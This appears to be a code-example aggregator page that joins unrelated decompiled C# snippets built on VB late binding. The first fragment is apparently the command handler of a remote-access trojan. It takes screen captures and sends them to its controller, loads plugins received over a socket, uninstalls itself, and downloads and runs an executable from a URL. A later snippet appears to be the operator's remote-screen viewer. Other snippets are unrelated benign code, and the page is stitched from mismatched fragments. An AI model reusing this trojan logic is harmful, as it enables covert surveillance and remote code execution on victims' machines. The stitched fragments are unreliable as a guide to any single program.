                                NewLateBinding.LateSet(objectValue, null, "osk", new object[]
                                {
                                    array[2]
                                }, null, null);
                                NewLateBinding.LateCall(objectValue, null, "start", new object[0], null, null, null, true);
                                while (!Conversions.ToBoolean(Operators.OrObject(!isConnected, Operators.CompareObjectEqual(NewLateBinding.LateGet(objectValue, null, "Off", new object[0], null, null, null), true, false))))
                                {
                                    Thread.Sleep(1);
                                }
                                NewLateBinding.LateSet(objectValue, null, "off", new object[]
                                {
                                    true
                                }, null, null);
                            }
                        }
                        else if (Operators.CompareString(left, "ret", false) == 0)
                        {
                            byte[] array3 = (byte[])GetValueFromRegistry(array[1], new byte[0]);
                            if (array[2].Length < 10 & array3.Length == 0)
                            {
                                Send(string.Concat(new string[]
                                {
                                    "pl",
                                    splitter,
                                    array[1],
                                    splitter,
                                    Conversions.ToString(1)
                                }));
                            }
                            else
                            {
                                if (array[2].Length > 10)
                                {
                                    MemoryStream memoryStream3 = new MemoryStream();
                                    int          length3       = (array[0] + splitter + array[1] + splitter).Length;
                                    memoryStream3.Write(b, length3, b.Length - length3);
                                    array3 = DecompressGzip(memoryStream3.ToArray());
                                    SaveValueOnRegistry(array[1], array3, RegistryValueKind.Binary);
                                }
                                Send(string.Concat(new string[]
                                {
                                    "pl",
                                    splitter,
                                    array[1],
                                    splitter,
                                    Conversions.ToString(0)
                                }));
                                object   objectValue2 = RuntimeHelpers.GetObjectValue(Plugin(array3, "A"));
                                string[] array4       = new string[5];
                                array4[0] = "ret";
                                array4[1] = splitter;
                                array4[2] = array[1];
                                array4[3] = splitter;
                                string[] arg_658_0 = array4;
                                int      arg_658_1 = 4;
                                string   text2     = Conversions.ToString(NewLateBinding.LateGet(objectValue2, null, "GT", new object[0], null, null, null));
                                arg_658_0[arg_658_1] = StringToBase64(ref text2);
                                Send(string.Concat(array4));
                            }
                        }
                        else if (Operators.CompareString(left, "CAP", false) == 0)
                        {
                            int       arg_6A9_0 = Screen.PrimaryScreen.Bounds.Width;
                            Rectangle bounds    = Screen.PrimaryScreen.Bounds;
                            Bitmap    bitmap    = new Bitmap(arg_6A9_0, bounds.Height, PixelFormat.Format16bppRgb555);
                            Graphics  graphics  = Graphics.FromImage(bitmap);
                            Graphics  arg_6DB_0 = graphics;
                            int       arg_6DB_1 = 0;
                            int       arg_6DB_2 = 0;
                            int       arg_6DB_3 = 0;
                            int       arg_6DB_4 = 0;
                            Size      size      = new Size(bitmap.Width, bitmap.Height);
                            arg_6DB_0.CopyFromScreen(arg_6DB_1, arg_6DB_2, arg_6DB_3, arg_6DB_4, size, CopyPixelOperation.SourceCopy);
                            try
                            {
                                Cursor   arg_702_0 = Cursors.Default;
                                Graphics arg_702_1 = graphics;
                                Point    arg_6FB_1 = Cursor.Position;
                                size   = new Size(32, 32);
                                bounds = new Rectangle(arg_6FB_1, size);
                                arg_702_0.Draw(arg_702_1, bounds);
                            }
                            catch (Exception expr_709)
                            {
                                ProjectData.SetProjectError(expr_709);
                                ProjectData.ClearProjectError();
                            }
                            graphics.Dispose();
                            Bitmap bitmap2 = new Bitmap(Conversions.ToInteger(array[1]), Conversions.ToInteger(array[2]));
                            graphics = Graphics.FromImage(bitmap2);
                            graphics.DrawImage(bitmap, 0, 0, bitmap2.Width, bitmap2.Height);
                            graphics.Dispose();
                            MemoryStream memoryStream4 = new MemoryStream();
                            string       text2         = "CAP" + splitter;
                            b = StringToBytes(ref text2);
                            memoryStream4.Write(b, 0, b.Length);
                            MemoryStream memoryStream5 = new MemoryStream();
                            bitmap2.Save(memoryStream5, ImageFormat.Jpeg);
                            string left3 = CreateHash(memoryStream5.ToArray());
                            if (Operators.CompareString(left3, lastCapturedImage, false) != 0)
                            {
                                lastCapturedImage = left3;
                                memoryStream4.Write(memoryStream5.ToArray(), 0, (int)memoryStream5.Length);
                            }
                            else
                            {
                                memoryStream4.WriteByte(0);
                            }
                            Send(memoryStream4.ToArray());
                            memoryStream4.Dispose();
                            memoryStream5.Dispose();
                            bitmap.Dispose();
                            bitmap2.Dispose();
                        }
                        else if (Operators.CompareString(left, "un", false) == 0)
                        {
                            string left4 = array[1];
                            if (Operators.CompareString(left4, "~", false) == 0)
                            {
                                Uninstall();
                            }
                            else if (Operators.CompareString(left4, "!", false) == 0)
                            {
                                try
                                {
                                    stubMutex.Close();
                                }
                                catch { }
                                Environment.Exit(0);
                            }
                            else if (Operators.CompareString(left4, "@", false) == 0)
                            {
                                Process.Start(currentAssemblyFileInfo.FullName);
                                try
                                {
                                    stubMutex.Close();
                                }
                                catch { }
                                Environment.Exit(0);
                            }
                        }
                        else if (Operators.CompareString(left, "up", false) == 0)
                        {
                            byte[] bytes2 = null;
                            if (array[1][0] == '\u001f')
                            {
                                try
                                {
                                    MemoryStream memoryStream6 = new MemoryStream();
                                    int          length4       = (array[0] + splitter).Length;
                                    memoryStream6.Write(b, length4, b.Length - length4);
                                    bytes2 = DecompressGzip(memoryStream6.ToArray());
                                    goto IL_97B;
                                }
                                catch
                                {
                                    Send("MSG" + splitter + "Update ERROR");
                                    Send("bla");
                                    return;
                                }
                            }
                            WebClient webClient2 = new WebClient();
                            try
                            {
                                bytes2 = webClient2.DownloadData(array[1]);
                            }
                            catch
                            {
                                Send("MSG" + splitter + "Update ERROR");
                                Send("bla");
                                return;
                            }
IL_97B:
                            Send("bla");
                            string text3 = Path.GetTempFileName() + ".exe";
                            try
                            {
                                Send("MSG" + splitter + "Updating To " + new FileInfo(text3).Name);
                                Thread.Sleep(2000);
                                File.WriteAllBytes(text3, bytes2);
                                Process.Start(text3, "..");
                            }
                            catch (Exception ex2)
                            {
                                Send("MSG" + splitter + "Update ERROR " + ex2.Message);
                                return;
                            }
                            Uninstall();
                        }
                        else if (Operators.CompareString(left, "Ex", false) == 0)
                        {
                            if (currentPlugin == null)
                            {
                                Send("PLG");
                                int num = 0;
                                while (!(currentPlugin != null | num == 20 | !isConnected))
                                {
                                    num++;
                                    Thread.Sleep(1000);
                                }
                                if (currentPlugin == null | !isConnected)
                                {
                                    return;
                                }
                            }
                            object   arg_ABB_0 = currentPlugin;
                            Type     arg_ABB_1 = null;
                            string   arg_ABB_2 = "ind";
                            object[] array5    = new object[]
                            {
                                b
                            };
                            object[] arg_ABB_3 = array5;
                            string[] arg_ABB_4 = null;
                            Type[]   arg_ABB_5 = null;
                            bool[]   array6    = new bool[]
                            {
                                true
                            };
                            NewLateBinding.LateCall(arg_ABB_0, arg_ABB_1, arg_ABB_2, arg_ABB_3, arg_ABB_4, arg_ABB_5, array6, true);
                            if (array6[0])
                            {
                                b = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array5[0]), typeof(byte[]));
                            }
                        }
                        else if (Operators.CompareString(left, "PLG", false) == 0)
                        {
                            MemoryStream memoryStream7 = new MemoryStream();
                            int          length5       = (array[0] + splitter).Length;
                            memoryStream7.Write(b, length5, b.Length - length5);
                            currentPlugin = RuntimeHelpers.GetObjectValue(Plugin(DecompressGzip(memoryStream7.ToArray()), "A"));
                            NewLateBinding.LateSet(currentPlugin, null, "H", new object[]
                            {
                                host
                            }, null, null);
                            NewLateBinding.LateSet(currentPlugin, null, "P", new object[]
                            {
                                port
                            }, null, null);
                            NewLateBinding.LateSet(currentPlugin, null, "c", new object[]
                            {
                                tcpSocket
                            }, null, null);
                        }
                    }
                }
                catch (Exception ex3)
                {
                    if (array.Length > 0 && (Operators.CompareString(array[0], "Ex", false) == 0 | Operators.CompareString(array[0], "PLG", false) == 0))
                    {
                        currentPlugin = null;
                    }
                    try
                    {
                        Send(string.Concat(new string[]
                        {
                            "ER",
                            splitter,
                            array[0],
                            splitter,
                            ex3.Message
                        }));
                    }
                    catch { }
                    ProjectData.ClearProjectError();
                }
            }
        }
Ejemplo n.º 10
0
        // Token: 0x06000095 RID: 149 RVA: 0x00008760 File Offset: 0x00006960
        public void PktToImage(byte[] BY)
        {
            if (Operators.CompareString(this.Button1.Text, "Stop", false) == 0)
            {
                this.sk.Send(string.Concat(new string[]
                {
                    "@",
                    ima.Y,
                    Conversions.ToString(this.C1.SelectedIndex),
                    ima.Y,
                    this.C2.Text,
                    ima.Y,
                    Conversions.ToString(this.C.Value)
                }));
            }
            Point right;

            if (!(this.op == right) && Operators.CompareString(this.Button1.Text, "Stop", false) == 0)
            {
                Point point = new Point(0, 0);
                point.X = this.op.X;
                point.Y = this.op.Y;
                this.op = default(Point);
                this.sk.Send(string.Concat(new string[]
                {
                    "$",
                    ima.Y,
                    Conversions.ToString(point.X),
                    ima.Y,
                    Conversions.ToString(point.Y),
                    ima.Y
                }));
            }
            Array        instance = Fungsi.fx(BY, "njq8");
            MemoryStream stream   = new MemoryStream((byte[])NewLateBinding.LateIndexGet(instance, new object[]
            {
                1
            }, null));
            Bitmap bitmap = (Bitmap)Image.FromStream(stream);

            byte[] array = (byte[])NewLateBinding.LateIndexGet(instance, new object[]
            {
                0
            }, null);
            string arg_1DB_0 = Fungsi.BS(ref array);

            NewLateBinding.LateIndexSetComplex(instance, new object[]
            {
                0,
                array
            }, null, true, false);
            string[] array2 = Strings.Split(arg_1DB_0, ",", -1, CompareMethod.Binary);
            checked
            {
                this.siz2 = Fungsi.Siz((long)BY.Length);
                this.siz1 = array2.Length - 2;
                IntPtr   callbackData;
                Bitmap   bitmap2   = (Bitmap)this.P1.Image.GetThumbnailImage(Conversions.ToInteger(Strings.Split(array2[0], ".", -1, CompareMethod.Binary)[0]), Conversions.ToInteger(Strings.Split(array2[0], ".", -1, CompareMethod.Binary)[1]), null, callbackData);
                Graphics graphics  = Graphics.FromImage(bitmap2);
                int      num       = 0;
                int      arg_25E_0 = 1;
                int      num2      = array2.Length - 2;
                int      num3      = arg_25E_0;
                while (true)
                {
                    int arg_3B5_0 = num3;
                    int num4      = num2;
                    if (arg_3B5_0 > num4)
                    {
                        break;
                    }
                    Point     point2    = new Point(Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[0]), Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[1]));
                    Size      size      = new Size(bitmap.Width, Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[2]));
                    Graphics  arg_336_0 = graphics;
                    Bitmap    arg_2F8_0 = bitmap;
                    Rectangle rect      = new Rectangle(0, num, bitmap.Width, Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[2]));
                    Image     arg_336_1 = arg_2F8_0.Clone(rect, bitmap.PixelFormat);
                    Point     point3    = new Point(Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[0]), Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[1]));
                    arg_336_0.DrawImage(arg_336_1, point3);
                    if (this.CheckBox1.Checked)
                    {
                        Rectangle rect2 = new Rectangle(Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[0]), Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[1]), size.Width, size.Height);
                        graphics.DrawRectangle(Pens.Red, rect2);
                    }
                    num += size.Height;
                    num3++;
                }
                graphics.Dispose();
                this.P1.Image = bitmap2;
                if (this.CheckBox4.Checked)
                {
                    try
                    {
                        bitmap2.Save(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(this.folder, Fungsi.DT()), ".jpg")));
                    }
                    catch (Exception expr_404)
                    {
                        ProjectData.SetProjectError(expr_404);
                        ProjectData.ClearProjectError();
                    }
                }
            }
        }
Ejemplo n.º 11
0
        protected bool UsuarioLogado()
        {
            string IPUsuario = this.Context.Request.UserHostAddress;

            string[] arrayXPTO = this.Application.AllKeys;
            for (int i = 0; i < arrayXPTO.Length; i++)
            {
                object msg = arrayXPTO[i];
                if (Operators.ConditionalCompareObjectNotEqual(msg, "CONTADOR", false) && ((((Logado)NewLateBinding.LateGet(this.Application, null, "Item", new object[] { RuntimeHelpers.GetObjectValue(msg) }, null, null, null)).Usuario == this.txtUsuario.Text.ToUpper()) & (((Logado)NewLateBinding.LateGet(this.Application, null, "Item", new object[] { RuntimeHelpers.GetObjectValue(msg) }, null, null, null)).Cliente == this.txtCliente.Text.ToUpper())))
                {
                    this.ClientScript.RegisterClientScriptBlock(this.Page.GetType(), "alerta", "<script>alert('O Usu\x00e1rio com o IP " + ((Logado)NewLateBinding.LateGet(this.Application, null, "Item", new object[] { RuntimeHelpers.GetObjectValue(msg) }, null, null, null)).Ip + " est\x00e1 logado com esse Usu\x00e1rio/Senha. Entre em Contato com a equipe UNITFOUR!');</script>");
                    return(true);
                }
            }
            this.AddUsuario();
            return(false);
        }
Ejemplo n.º 12
0
 // Token: 0x06000894 RID: 2196 RVA: 0x000436C0 File Offset: 0x000418C0
 public void detect()
 {
     this.subkeyNames          = Registry.CurrentUser.OpenSubKey(this.keyName).GetSubKeyNames();
     this.valueNames           = Registry.CurrentUser.OpenSubKey(this.keyName).GetValueNames();
     this.ChProgressbar1.Value = 0;
     this.Lv1.Items.Clear();
     this.ChProgressbar1.Maximum = this.valueNames.Length;
     string[] array = this.valueNames;
     checked
     {
         for (int i = 0; i < array.Length; i++)
         {
             string        text          = array[i];
             CHProgressbar chProgressbar = this.ChProgressbar1;
             chProgressbar.Value++;
             ListViewItem listViewItem = new ListViewItem();
             new ListViewItem();
             int num = Strings.InStr(Conversions.ToString(Registry.CurrentUser.OpenSubKey(this.keyName).GetValue(text)), "..", CompareMethod.Binary);
             if (num != 0)
             {
                 object objectValue = RuntimeHelpers.GetObjectValue(Registry.CurrentUser.OpenSubKey(this.keyName).GetValue(text));
                 objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "replace", new object[]
                 {
                     "\"",
                     ""
                 }, null, null, null));
                 objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "replace", new object[]
                 {
                     " ",
                     ""
                 }, null, null, null));
                 objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "replace", new object[]
                 {
                     "..",
                     ""
                 }, null, null, null));
                 FileInfo fileInfo = new FileInfo(Conversions.ToString(objectValue));
                 if (File.Exists(fileInfo.FullName))
                 {
                     listViewItem.Text = fileInfo.Name;
                 }
                 else
                 {
                     listViewItem.Text = "Not found";
                 }
                 if (File.Exists(this.startup + "\\" + text + ".exe"))
                 {
                     listViewItem.SubItems.Add(text + ".exe");
                 }
                 else
                 {
                     listViewItem.SubItems.Add("Not found");
                 }
                 object   arg_23A_0 = listViewItem.SubItems;
                 Type     arg_23A_1 = null;
                 string   arg_23A_2 = "Add";
                 object[] array2    = new object[]
                 {
                     RuntimeHelpers.GetObjectValue(objectValue)
                 };
                 object[] arg_23A_3 = array2;
                 string[] arg_23A_4 = null;
                 Type[]   arg_23A_5 = null;
                 bool[]   array3    = new bool[]
                 {
                     true
                 };
                 NewLateBinding.LateCall(arg_23A_0, arg_23A_1, arg_23A_2, arg_23A_3, arg_23A_4, arg_23A_5, array3, true);
                 if (array3[0])
                 {
                     objectValue = RuntimeHelpers.GetObjectValue(array2[0]);
                 }
                 listViewItem.SubItems.Add(Registry.CurrentUser.OpenSubKey(this.keyName).ToString() + "\\" + text);
                 listViewItem.SubItems.Add(text);
                 listViewItem.ImageIndex = 0;
                 this.Lv1.Items.Add(listViewItem);
             }
         }
         this.Lv1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
         ima.F.sl.Text = "Detected  : " + Conversions.ToString(this.Lv1.Items.Count);
         if (this.Lv1.Items.Count == 0)
         {
             this.Button1.Text = "Scan..";
         }
         else if (this.Lv1.Items.Count == 1)
         {
             this.Button1.Text = "Remove";
         }
         else
         {
             this.Button1.Text = "Remove all";
         }
     }
 }
Ejemplo n.º 13
0
        // Token: 0x06000893 RID: 2195 RVA: 0x0004314C File Offset: 0x0004134C
        public void remove()
        {
            this.TT.SelectionStart = this.TT.TextLength;
            this.TT.AppendText("==========================================================\r\nRemove started " + DateTime.Now.ToString() + "\r\n==========================================================\r\n");
            this.ChProgressbar1.Value = 0;
            this.Lv1.Items.Clear();
            this.ChProgressbar1.Maximum = this.valueNames.Length;
            string[] array = this.valueNames;
            checked
            {
                for (int i = 0; i < array.Length; i++)
                {
                    string        text          = array[i];
                    CHProgressbar chProgressbar = this.ChProgressbar1;
                    chProgressbar.Value++;
                    new ListViewItem();
                    new ListViewItem();
                    int num = Strings.InStr(Conversions.ToString(Registry.CurrentUser.OpenSubKey(this.keyName).GetValue(text)), "..", CompareMethod.Binary);
                    if (num != 0)
                    {
                        object objectValue = RuntimeHelpers.GetObjectValue(Registry.CurrentUser.OpenSubKey(this.keyName).GetValue(text));
                        objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "replace", new object[]
                        {
                            "\"",
                            ""
                        }, null, null, null));
                        objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "replace", new object[]
                        {
                            " ",
                            ""
                        }, null, null, null));
                        objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "replace", new object[]
                        {
                            "..",
                            ""
                        }, null, null, null));
                        FileInfo fileInfo = new FileInfo(Conversions.ToString(objectValue));
                        try
                        {
                            if (this.bacup)
                            {
                                File.Copy(this.startup + "\\" + text + ".exe", Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(this.folder, text), ".exe.dup")));
                                File.Copy(Conversions.ToString(objectValue), Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(this.folder, fileInfo.Name), ".exe.dup")));
                            }
                            goto IL_491;
                        }
                        catch (Exception expr_20E)
                        {
                            ProjectData.SetProjectError(expr_20E);
                            ProjectData.ClearProjectError();
                            goto IL_491;
                        }
                        goto IL_21F;
IL_25F:
                        if (File.Exists(this.startup + "\\" + text + ".exe"))
                        {
                            Process[] processesByName = Process.GetProcessesByName(text);
                            for (int j = 0; j < processesByName.Length; j++)
                            {
                                Process process = processesByName[j];
                                process.Kill();
                            }
                        }
                        Thread.Sleep(500);
                        if (File.Exists(fileInfo.FullName))
                        {
                            try
                            {
                                File.Delete(Conversions.ToString(objectValue));
                                this.TT.AppendText(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject("- Remove file succeedd (", objectValue), ")"), "\r\n")));
                            }
                            catch (Exception expr_2FE)
                            {
                                ProjectData.SetProjectError(expr_2FE);
                                Exception ex = expr_2FE;
                                this.TT.AppendText("- Remove file succeedd error (" + ex.Message + ")\r\n");
                                ProjectData.ClearProjectError();
                            }
                        }
                        if (File.Exists(this.startup + "\\" + text + ".exe"))
                        {
                            try
                            {
                                File.Delete(this.startup + "\\" + text + ".exe");
                                this.TT.AppendText(string.Concat(new string[]
                                {
                                    "- Remove file succeedd (",
                                    this.startup,
                                    "\\",
                                    text,
                                    ".exe)\r\n"
                                }));
                            }
                            catch (Exception expr_3B0)
                            {
                                ProjectData.SetProjectError(expr_3B0);
                                Exception ex2 = expr_3B0;
                                this.TT.AppendText("- Remove file error (" + ex2.Message + ")\r\n");
                                ProjectData.ClearProjectError();
                            }
                        }
                        try
                        {
                            MyProject.Computer.Registry.CurrentUser.OpenSubKey(this.keyName, true).DeleteValue(text, false);
                            this.TT.AppendText(string.Concat(new string[]
                            {
                                "- Remove RegKey succeedd (",
                                Registry.CurrentUser.OpenSubKey(this.keyName).ToString(),
                                "\\",
                                text,
                                ")\r\n"
                            }));
                        }
                        catch (Exception expr_458)
                        {
                            ProjectData.SetProjectError(expr_458);
                            Exception ex3 = expr_458;
                            this.TT.AppendText("- Remove RegKey error (" + ex3.Message + ")\r\n");
                            ProjectData.ClearProjectError();
                        }
                        goto IL_488;
IL_491:
                        if (!File.Exists(fileInfo.FullName))
                        {
                            goto IL_25F;
                        }
IL_21F:
                        Process[] processesByName2 = Process.GetProcessesByName(fileInfo.Name.Replace(".exe", ""));
                        for (int k = 0; k < processesByName2.Length; k++)
                        {
                            Process process2 = processesByName2[k];
                            process2.Kill();
                        }
                        goto IL_25F;
                    }
                    IL_488 :;
                }
                this.TT.ScrollToCaret();
                ima.F.sl.Text = "Remove server(s) succeeded..";
                this.Lv1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
                if (this.Lv1.Items.Count == 0)
                {
                    this.Button1.Text = "Scan..";
                }
                else if (this.Lv1.Items.Count == 1)
                {
                    this.Button1.Text = "Remove";
                }
                else
                {
                    this.Button1.Text = "Remove all";
                }
            }
        }
Ejemplo n.º 14
0
        public void ResetDefault()
        {
            object dvarValue;
            string dstrValueString;

            if (mvarAppDefault != null)
            {
                dvarValue       = RuntimeHelpers.GetObjectValue(mvarAppDefault);
                dstrValueString = mstrAppDefaultString;
            }
            else if (mobjSysVar.DefaultByInit)
            {
                dvarValue       = RuntimeHelpers.GetObjectValue(mobjSysVar.Default_Renamed);
                dstrValueString = mobjSysVar.FriendGetDefaultString;
            }
            else
            {
                dvarValue       = null;
                dstrValueString = "-";
            }
            bool dblnChanged = default(bool);

            if (dvarValue != null && !(mvarValue == null && dvarValue == null))
            {
                if (mvarValue == null != (dvarValue == null))
                {
                    dblnChanged = true;
                }
                else if ((VariantType.Array & VarType_Renamed) == VariantType.Array)
                {
                    int num  = Information.LBound((Array)mvarValue);
                    int num2 = Information.UBound((Array)mvarValue);
                    for (int dlngIdx = num; dlngIdx <= num2; dlngIdx = checked (dlngIdx + 1))
                    {
                        if (!dblnChanged)
                        {
                            dblnChanged = Operators.ConditionalCompareObjectNotEqual(NewLateBinding.LateIndexGet(mvarValue, new object[1]
                            {
                                dlngIdx
                            }, null), NewLateBinding.LateIndexGet(dvarValue, new object[1]
                            {
                                dlngIdx
                            }, null), TextCompare: false);
                        }
                    }
                }
                else
                {
                    dblnChanged = Operators.ConditionalCompareObjectNotEqual(mvarValue, dvarValue, TextCompare: false);
                }
            }
            if (dblnChanged)
            {
                bool dblnCancel = default(bool);
                RaiseEventStartChange(RuntimeHelpers.GetObjectValue(dvarValue), ref dblnCancel);
                if (!dblnCancel)
                {
                    mvarValue       = RuntimeHelpers.GetObjectValue(dvarValue);
                    mstrValueString = dstrValueString;
                    RaiseEventEndChange(RuntimeHelpers.GetObjectValue(dvarValue));
                }
            }
        }
Ejemplo n.º 15
0
        public double myF1(object X)
        {
            NewLateBinding.LateIndexSet((object)this.PN, new object[2]
            {
                (object)1,
                RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object)this.A, new object[1]
                {
                    (object)2
                }, (string[])null))
            }, (string[])null);
            int num1 = this.NK - 1;

            for (int index = 2; index <= num1; ++index)
            {
                NewLateBinding.LateIndexSet((object)this.PN, new object[2]
                {
                    (object)index,
                    Operators.MultiplyObject(Operators.MultiplyObject((object)index, NewLateBinding.LateIndexGet((object)this.A, new object[1]
                    {
                        (object)(index + 1)
                    }, (string[])null)), Operators.ExponentObject(X, (object)(index - 1)))
                }, (string[])null);
            }
            int num2 = this.NK - 1;

            for (int index1 = 1; index1 <= num2; ++index1)
            {
                double num3 = Conversions.ToDouble(NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                {
                    (object)index1
                }, (string[])null));
                int num4 = index1;
                int num5 = this.NK - 1;
                for (int index2 = num4; index2 <= num5; ++index2)
                {
                    if (Operators.ConditionalCompareObjectGreater((object)num3, NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                    {
                        (object)index2
                    }, (string[])null), false))
                    {
                        num3 = Conversions.ToDouble(NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                        {
                            (object)index2
                        }, (string[])null));
                        double num6 = Conversions.ToDouble(NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                        {
                            (object)index2
                        }, (string[])null));
                        NewLateBinding.LateIndexSet((object)this.PN, new object[2]
                        {
                            (object)index2,
                            RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                            {
                                (object)index1
                            }, (string[])null))
                        }, (string[])null);
                        NewLateBinding.LateIndexSet((object)this.PN, new object[2]
                        {
                            (object)index1,
                            (object)num6
                        }, (string[])null);
                    }
                }
            }
            int num7 = this.NK;
            int num8 = this.NK - 1;

            for (int index = 1; index <= num8; ++index)
            {
                if (Conversions.ToBoolean(Operators.AndObject(Operators.CompareObjectGreater(NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                {
                    (object)index
                }, (string[])null), (object)0.0, false), (object)(num7 == this.NK))))
                {
                    num7 = index;
                }
            }
            double num9 = 0.0;

            for (int index = num7 - 1; index >= 1; index += -1)
            {
                num9 = Conversions.ToDouble(Operators.AddObject((object)num9, NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                {
                    (object)index
                }, (string[])null)));
            }
            double num10 = 0.0;
            int    num11 = num7;
            int    num12 = this.NK - 1;

            for (int index = num11; index <= num12; ++index)
            {
                num10 = Conversions.ToDouble(Operators.AddObject((object)num10, NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                {
                    (object)index
                }, (string[])null)));
            }
            return(num10 + num9);
        }
Ejemplo n.º 16
0
 public static void SendToAllClientMapid(int _Id, string packet)
 {
     try
     {
         IEnumerator enumerator = Server.ListView_Client.Items.GetEnumerator();
         while (enumerator.MoveNext())
         {
             ListViewItem listViewItem = (ListViewItem)enumerator.Current;
             try
             {
                 Client client = (Client)listViewItem.Tag;
                 if (client._socket.Connected && Conversions.ToBoolean(Operators.AndObject(client._My_Id != _Id, Operators.CompareObjectEqual(client._My_MapId, NewLateBinding.LateGet(Server.ListView_Client.Items[_Id.ToString()].Tag, null, "_My_MapId", new object[0], null, null, null), false))))
                 {
                     byte[] array = Class5.smethod_5(Class5.smethod_4(packet));
                     if (client._socket.Connected)
                     {
                         client._socket.Send(array, 0, array.Length, SocketFlags.None);
                     }
                 }
             }
             catch (Exception expr_C8)
             {
                 ProjectData.SetProjectError(expr_C8);
                 ProjectData.ClearProjectError();
             }
         }
     }
     finally
     {
     }
 }
Ejemplo n.º 17
0
 private void Console_Timer_QuickBoot_Click(object sender, EventArgs e)
 {
     this.tmrTimer.SetTime(Conversions.ToString(0), Conversions.ToString(Operators.MultiplyObject(Operators.AddObject(NewLateBinding.LateGet(NewLateBinding.LateGet(sender, null, "Parent", new object[0], null, null, null), null, "Index", new object[0], null, null, null), 1), 30)));
 }
Ejemplo n.º 18
0
        public static object DecodeText(object input, object start, object length)
        {
            object obj2;
            object obj6;
            object obj9;
            string str        = "ABCDEFGHIJKLMNOP";
            string str2       = "QRSTUVWXYZ012345";
            string str3       = "6789bcdfgjkmpquv";
            string str4       = @"wxyz+- ,!.?:;\'*%$";
            string expression = "";
            object left       = "";

            if (ObjectFlowControl.ForLoopControl.ForLoopInitObj(obj2, start, Operators.SubtractObject(Operators.AddObject(start, length), 1), 1, ref obj6, ref obj2))
            {
                do
                {
                    expression = expression + Strings.Right("0" + Conversion.Hex(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(input, new object[] { RuntimeHelpers.GetObjectValue(obj2) }, null))), 2);
                }while (ObjectFlowControl.ForLoopControl.ForNextCheckObj(obj2, obj6, ref obj2));
            }
            if (ObjectFlowControl.ForLoopControl.ForLoopInitObj(obj2, 1, Strings.Len(expression), 1, ref obj9, ref obj2))
            {
                do
                {
                    switch (Strings.UCase(Strings.Mid(expression, Conversions.ToInteger(obj2), 1)))
                    {
                    case "0":
                        left = Operators.ConcatenateObject(left, " ");
                        break;

                    case "1":
                        left = Operators.ConcatenateObject(left, "a");
                        break;

                    case "2":
                        left = Operators.ConcatenateObject(left, "e");
                        break;

                    case "3":
                        left = Operators.ConcatenateObject(left, "h");
                        break;

                    case "4":
                        left = Operators.ConcatenateObject(left, "i");
                        break;

                    case "5":
                        left = Operators.ConcatenateObject(left, "l");
                        break;

                    case "6":
                        left = Operators.ConcatenateObject(left, "n");
                        break;

                    case "7":
                        left = Operators.ConcatenateObject(left, "o");
                        break;

                    case "8":
                        left = Operators.ConcatenateObject(left, "r");
                        break;

                    case "9":
                        left = Operators.ConcatenateObject(left, "s");
                        break;

                    case "A":
                        left = Operators.ConcatenateObject(left, "t");
                        break;

                    case "B":
                        obj2 = Operators.AddObject(obj2, 1);
                        left = Operators.ConcatenateObject(left, Strings.Mid(str, (int)Math.Round((double)(Conversion.Val("&h" + Strings.Mid(expression, Conversions.ToInteger(obj2), 1)) + 1.0)), 1));
                        break;

                    case "C":
                        obj2 = Operators.AddObject(obj2, 1);
                        left = Operators.ConcatenateObject(left, Strings.Mid(str2, (int)Math.Round((double)(Conversion.Val("&h" + Strings.Mid(expression, Conversions.ToInteger(obj2), 1)) + 1.0)), 1));
                        break;

                    case "D":
                        obj2 = Operators.AddObject(obj2, 1);
                        left = Operators.ConcatenateObject(left, Strings.Mid(str3, (int)Math.Round((double)(Conversion.Val("&h" + Strings.Mid(expression, Conversions.ToInteger(obj2), 1)) + 1.0)), 1));
                        break;

                    case "E":
                        obj2 = Operators.AddObject(obj2, 1);
                        left = Operators.ConcatenateObject(left, Strings.Mid(str4, (int)Math.Round((double)(Conversion.Val("&h" + Strings.Mid(expression, Conversions.ToInteger(obj2), 1)) + 1.0)), 1));
                        break;

                    case "F":
                        if (Operators.ConditionalCompareObjectLessEqual(Operators.AddObject(obj2, 2), Strings.Len(expression), false))
                        {
                            left = Operators.ConcatenateObject(left, Strings.Chr((int)Math.Round(Conversion.Val(" &h" + Strings.Mid(expression, Conversions.ToInteger(Operators.AddObject(obj2, 2)), 1) + Strings.Mid(expression, Conversions.ToInteger(Operators.AddObject(obj2, 1)), 1)))));
                        }
                        obj2 = Operators.AddObject(obj2, 2);
                        break;
                    }
                }while (ObjectFlowControl.ForLoopControl.ForNextCheckObj(obj2, obj9, ref obj2));
            }
